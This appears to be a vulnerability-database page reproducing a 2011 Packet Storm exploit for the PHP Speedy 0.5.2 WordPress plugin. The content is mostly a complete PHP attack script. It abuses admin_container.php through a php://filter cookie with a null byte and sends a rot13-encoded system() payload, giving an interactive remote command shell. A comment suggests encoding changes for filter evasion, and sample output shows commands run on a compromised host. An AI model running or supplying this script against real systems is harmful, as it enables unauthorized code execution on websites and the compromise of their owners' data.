Lucene search
K

PHP Speedy 0.5.2 Remote Code Execution

🗓️ 04 Mar 2011 00:00:00Reported by mr_meType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

PHP Speedy 0.5.2 Remote Code Execution vulnerability in the WordPress plugin admin_container.php allows unauthorized access and code execution with certain server configurations

Code
`<?php  
/*  
php speedy <= 0.5.2 wordpress plugin (admin_container.php) Remote Code Exec Exploit  
vendor: http://aciddrop.com/  
-------------------------------  
May the stars be aligned!  
php.ini requirements:  
register_globals=On  
allow_url_include=On  
magic_quotes_gpc=Off  
------------------------------  
[mr_me@pluto php_speedy]$ php PoC.php -t 10.3.100.3:80 -d /webapps/wp/ -p 127.0.0.1:8080  
  
-----------------------------------------------------------------------------------  
php speedy <= 0.5.3 wordpress plugin (admin_container.php) Remote Code Exec Exploit  
by mr_me - https://net-ninja.net/  
-----------------------------------------------------------------------------------  
(+) Setting the proxy to 127.0.0.1:8080  
  
[email protected]# id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
  
[email protected]# uname -a  
Linux steven-desktop 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux  
  
[email protected]# q  
*/  
  
print_r("  
-----------------------------------------------------------------------------------  
php speedy <= 0.5.2 wordpress plugin (admin_container.php) Remote Code Exec Exploit  
by mr_me - https://net-ninja.net/  
-----------------------------------------------------------------------------------  
");  
  
if ($argc < 3) {  
print_r("  
-----------------------------------------------------------------------------  
Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS  
host: target server (ip/hostname)  
path: directory path to wordpress  
Options:  
-p[ip:port]: specify a proxy  
Example:  
php ".$argv[0]." -t 192.168.1.5 -d /wp/ -p 127.0.0.1:8080  
php ".$argv[0]." -t 192.168.1.5 -d /wp/  
-----------------------------------------------------------------------------  
"); die; }  
  
error_reporting(7);  
ini_set("max_execution_time", 0);  
ini_set("default_socket_timeout", 5);  
  
$proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";  
  
function setArgs($argv){  
$_ARG = array();  
foreach ($argv as $arg){  
if (ereg("--([^=]+)=(.*)", $arg, $reg)){  
$_ARG[$reg[1]] = $reg[2];  
}elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)){  
$_ARG[$reg[1]] = "true";  
}else {  
$_ARG["input"][] = $arg;  
}  
}  
return $_ARG;  
}  
  
  
$myArgs = setArgs($argv);  
$host = $myArgs["input"]["1"];  
$path = $myArgs["input"]["2"];  
  
if (strpos($host, ":") == true){  
$hostAndPort = explode(":",$myArgs["input"][1]);  
$host = $hostAndPort[0];  
$port = (int)$hostAndPort[1];  
}else{  
$port = 80;  
}  
  
  
if(strcmp($myArgs["p"],"true") === 0){  
$proxyAndPort = explode(":",$myArgs["input"][3]);  
$proxy = $proxyAndPort[0];  
$pport = $proxyAndPort[1];  
echo "(+) Setting the proxy to ".$proxy.":".$pport."\r\n";  
}else{  
echo "(-) Warning, a proxy was not set\r\n";  
}  
  
// rgods sendpacketii() function  
function sendpacket($packet){  
global $myArgs, $proxy, $host, $pport, $port, $html, $proxy_regex;  
if (strcmp($myArgs["p"],"true") != 0) {  
$ock = fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo "(-) No response from ".$host.":".$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo "(-) Not a valid proxy...\n"; die;  
}  
$ock=fsockopen($proxy,$pport);  
if (!$ock) {  
echo "(-) No response from proxy..."; die;  
}  
}  
fputs($ock,$packet);  
if ($proxy == "") {  
$html = "";  
while (!feof($ock)) {  
$html .= fgets($ock);  
}  
}else {  
$html = "";  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {  
$html .= fread($ock,1);  
}  
}  
fclose($ock);  
}  
  
if (strcmp($myArgs["p"], "true") != 0) {$p = $path;} else {$p = "http://".$host.":".$port.$path;}  
  
function read(){  
$fp1 = fopen("/dev/stdin", "r");  
$input = fgets($fp1, 255);  
fclose($fp1);  
return $input;  
}  
  
while ($cmd != "q"){  
echo "\n".get_current_user()."@".$host."# ";  
$cmd = trim(read());  
  
// maybe use base64 for better filter evasion  
$data = str_rot13("<?php eval(system(\"".$cmd."\")); ?>");  
$packet = "POST ".$p."wp-content/plugins/php_speedy_wp/libs/php_speedy/view/admin_container.php HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Cookie: page=php://filter/read=string.rot13/resource=php://input%00\r\n";  
$packet .= "Content-Length: ".strlen($data)."\r\n";  
$packet .= "Connection: Close\r\n\r\n";  
$packet .= $data;  
  
if ($cmd != "q"){  
sendpacket($packet);  
$temp = explode("Parse error",$html);  
$______finalresponse = explode("/></a>", $temp[0]);  
echo trim($______finalresponse[1])."\r\n";  
}  
}  
?>  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Mar 2011 00:00Current
7.4High risk
Vulners AI Score7.4
22